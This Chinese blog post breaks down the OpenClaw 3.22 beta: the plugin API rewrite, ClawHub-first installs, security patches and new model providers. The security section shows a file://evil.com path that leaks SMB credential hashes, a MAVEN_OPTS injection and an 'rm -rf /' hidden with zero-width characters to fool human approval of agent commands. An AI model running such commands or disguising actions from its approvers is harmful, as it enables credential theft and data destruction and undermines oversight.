乐于分享
好东西不私藏

OpenClaw 3.22技术拆解:插件系统从野生到家养,Google Cloud成Claude第二宿主

OpenClaw 3.22技术拆解:插件系统从野生到家养,Google Cloud成Claude第二宿主

我们昨天刚讲了微信的ClawBot,今天它就罢工,不是因为微信没准备好,是因为OpenClaw底层的插件系统——彻底换了一套玩法

3月23日,OpenClaw发布「2026.3.22-beta.1」预览版。这次更新没有新功能,只有一件事:重构插件系统,收编生态,并堵上了十多个安全窟窿。今天不聊新闻,只拆代码。看看OpenClaw这次到底改了啥,以及——你的插件为什么用不了了。

一、旧插件为什么挂了?因为API被连根拔了

微信ClawBot基于旧版openclaw/extension-api开发。3.22版本把这套API完全移除了,没有兼容层,没有过渡期。

旧版插件长这样(简化版):

// 旧版插件入口
import { registerExtension } from'openclaw/extension-api';

registerExtension({
name'wechat-clawbot',
onMessageasync (msg) => {
// 处理微信消息
return { reply'收到' };
  }
});

新版插件长这样(3.22+):

// 新版插件入口
import { definePlugin } from'openclaw/plugin-sdk';

exportdefault definePlugin({
id'wechat-clawbot',
version'2.0.0',
hooks: {
'message:receive'async (ctx) => {
// ctx里多了权限校验、沙箱隔离
return { reply'收到' };
    }
  }
});

差异在哪?

  • extension-api是“野生模式”:插件拿到什么权限全凭自觉,想访问文件系统就访问,想发网络请求就发
  • plugin-sdk是“家养模式”:插件必须声明自己需要什么权限,通过hooks注册到特定生命周期,运行时被严格限制

老王翻译:以前插件像你家大门钥匙随便配,谁都能进来;现在插件得在物业登记、领门禁卡、走指定通道。

二、ClawHub成为唯一入口,npm被降级

3.22版本另一个关键改动:插件安装的默认来源变了。

以前

openclaw plugins install wechat-clawbot  # 直接从npm拉包

现在

openclaw plugins install wechat-clawbot  # 先去ClawHub找,找不到才回退npm

为什么这么改?看一组数据就知道:2026年3月初,奇安信报告显示,ClawHub上超过75万个Skill,每天新增2.1万个,其中近9%存在漏洞风险。npm更惨——谁都能发包,恶意技能藏得更深。

把ClawHub变成首选入口,OpenClaw等于把插件分发权收归官方。以后上架插件至少得经过基础审核,虽然不能完全杜绝恶意代码,但至少比npm裸奔强。

技术细节openclaw/plugin-sdk里新加了@openclaw/registry模块,专门负责插件来源校验。插件安装时会先验证签名,只有通过ClawHub签名的包才被信任。自己从npm装的?可以,但会收到警告:“此插件未经官方审核”。

三、10多个漏洞一次封堵,挑几个硬的讲

3.22版本打了十多个安全补丁,我挑几个技术含量高的拆:

漏洞1:Windows SMB凭证泄露

攻击者可以通过构造特殊的file://或UNC路径,在媒体加载环节触发Windows自动发起SMB认证握手。

// 攻击者让AI加载这个路径
const maliciousPath = 'file://evil.com/share/image.jpg';

// Windows会向evil.com发送你的登录凭证哈希
// 攻击者拿到后可以离线破解

修复方式openclaw/plugin-sdk里的媒体加载模块,新增了协议白名单。只允许http:https:data:file:直接禁止。攻击路径被封死。

漏洞2:环境变量注入

之前OpenClaw在执行构建任务时,会继承系统的MAVEN_OPTSSBT_OPTSGRADLE_OPTS等环境变量。攻击者可以通过这些变量注入恶意JVM参数,执行任意代码。

# 攻击者设置环境变量
export MAVEN_OPTS="-Djava.security.manager=... -Xlog:..."

# OpenClaw执行maven时,这些参数会被传递

修复方式:新版把环境变量清洗了一遍,高危变量被直接屏蔽。代码在packages/executor/src/sandbox.ts里,新增了SANDBOX_ENV白名单,只保留PATHHOME这类基础变量。

漏洞3:Unicode零宽字符审批伪装

这是最骚的一个。有人发现可以用不可见的韩文填充码位来伪装审批提示,让操作者在审批时看不到真实的命令内容。

// 攻击者在命令里插入零宽字符
const malicious = 'rm\u200B -rf\u200B /';  // 看起来是"rm -rf /"

// 在终端里显示时,零宽字符不可见
// 用户审批时以为只是普通命令

修复方式:3.22在网关和macOS原生审批界面中全面转义了这类字符。代码在packages/gateway/src/approval.ts里,新增了sanitizeUnicode函数,把所有零宽字符替换成<U+XXXX>形式,让恶意命令无处遁形。

四、模型层更新:GPT-5.4上位,Vertex AI正式接Claude

3.22版本把默认OpenAI模型从5.2切到了GPT-5.4。配置变更:

{
"models": {
"openai": {
"default""gpt-5.4",
"fallback""gpt-5.4-mini",
"legacy""gpt-5.2"
    }
  }
}

同时预置了gpt-5.4-minigpt-5.4-nano的前向兼容支持,模型一上线就能无缝接入。

MiniMax方面,默认模型从M2.5升级到M2.7,还合并了此前分离的API和OAuth两个插件入口,配置复杂度大幅降低。

另一亮点:Anthropic Vertex正式接入。现在可以通过Google Cloud的Vertex AI平台直接调用Claude模型。这对已经在Google Cloud上跑业务的团队来说,价值巨大。

对OpenClaw用户意味着什么?

第一,多了一条模型通道,还多了一层可靠性。
以前OpenClaw要调用Claude,只能走Anthropic官方API。现在多了Google Cloud这条线,等于给关键业务多了一个备份通道。如果某条线出问题,可以无缝切到另一条。这对需要高可用性的企业场景尤其重要。

第二,价格可能更友好,尤其对企业用户。
Vertex AI的Claude模型定价与Anthropic官方API持平,但Google Cloud的企业折扣、承诺消费折扣可以叠加。对企业用户来说,这可能意味着更低的综合成本。而且,Google Cloud的账单体系与Anthropic独立,意味着你可以在两个云之间做成本优化。

第三,但需要留意区域限制。
Vertex AI的Claude模型并非所有区域都开放。目前主要支持us-central1us-east5europe-west4等区域。如果你的业务部署在其他区域,可能需要额外配置或接受额外的网络延迟。

第四,模型版本号必须写全。
Vertex AI上的Claude模型名称必须带日期后缀,例如claude-sonnet-4-6@20251001,不能简写为claude-sonnet-4-6。这是Google Cloud API的命名规范,OpenClaw 3.22已经兼容。

第五,对跨云部署的团队是重大利好。
如果你已经在用AWS Bedrock调用Claude,现在又多了一个选择。OpenClaw正在成为真正的“多云AI Agent调度层”——你可以在一个配置里混用Anthropic官方API、AWS Bedrock、Google Vertex AI,甚至本地Ollama。

目前可用的Claude模型列表(Vertex AI)

根据LangChain文档和LiveKit插件信息,Vertex AI已支持的Claude模型包括:

模型名称
完整标识符(带日期)
说明
Claude Haiku 4.5
claude-haiku-4-5@20251001
最快、最便宜,适合高频轻量任务
Claude Sonnet 4.5
claude-sonnet-4-5@20250929
性价比之选,平衡速度与能力
Claude Sonnet 4.6
claude-sonnet-4-6@20251001
最新Sonnet版本,推理能力更强
Claude Opus 4.5
claude-opus-4-5@20251101
最强大但最贵,适合复杂推理任务
Claude Opus 4.6
claude-opus-4-6@20251101
最新Opus版本,天花板级别

⚠️ 注意:Claude 3 Haiku将于2026年8月23日停止支持,建议迁移到Claude Haiku 4.5。另外,不同区域支持的模型版本可能略有差异,建议用gcloud ai models list确认。

在OpenClaw中配置示例

models:
providers:
anthropic-vertex:
enabled:true
project:"your-gcp-project-id"
location:"us-central1"
model:"claude-sonnet-4-6@20251001"

对OpenClaw生态的长期影响

1. 从“单云依赖”到“多云调度”

OpenClaw正在把自己变成多云AI Agent的调度层。目前已经支持:

  • Anthropic官方API
  • AWS Bedrock(Claude模型)
  • Google Vertex AI(Claude模型)
  • OpenAI(GPT系列)
  • 国产模型(DeepSeek、智谱、通义千问、MiniMax等)
  • 本地模型(Ollama)

未来你可以在一个配置里混用这些模型,OpenClaw负责根据任务类型、成本、延迟自动路由到最合适的模型。这才是“AI操作系统”该有的样子。

2. Google借OpenClaw推广TPU生态

Google Cloud愿意把Claude集成进Vertex AI,背后是TPU的战略。TPU作为Nvidia GPU的替代品,一直缺乏外部明星客户背书。Anthropic就是那个样板。而OpenClaw作为开发者使用最广泛的AI Agent框架,它的接入意味着大量开发者将通过Vertex AI间接接触TPU算力。

3. 生态“收编”才刚刚开始

3.22版本把插件分发权收归ClawHub,强制插件走官方渠道。这背后是OpenClaw从“极客玩具”到“工程化平台”的必然演进。未来还会有更多“收编”动作:插件签名强制化、运行时权限细化、官方安全审计服务……这些都是生态走向成熟必须经历的阵痛。

4. 对开发者意味着什么?

短期看,你得学新API,改旧插件,适应新规则。长期看,这是好事——一个混乱的、满大街恶意插件的生态,对谁都没有好处。生态收编之后,插件质量有保障、安全有底线、分发有渠道,这才是能持续发展的平台。

五、老王的“新版迁移”资料包

这次升级的核心就一件事:插件生态从“野生”变成“家养”。如果你自己写过插件,或者依赖的插件还没更新,这份资料包能帮你平稳过渡:

  1. 《旧版插件迁移指南》extension-apiplugin-sdk的逐行对照
  2. 《ClawHub插件上架流程》:如果你想把自己的插件发到官方市场
  3. 《3.22安全配置清单》:基于新版SDK的最小权限配置模板
  4. 《漏洞自查脚本(3.22版)》:跑一遍,确认你的版本修了哪些坑

回复关键词「新版」直接领取。

最后说两句

微信ClawBot的罢工,不是意外。OpenClaw正在从“极客玩具”走向“工程化平台”,插件系统收编是必经之路。

这次没修兼容层,不是技术做不到,是故意的——告诉所有开发者:旧路子走不通了,来,按新规则玩。

Google Cloud接入Claude,不是简单的增加一个模型选项,而是OpenClaw构建“多云Agent调度层”的一步棋。未来的AI操作系统,不应该绑死在任何一个云上。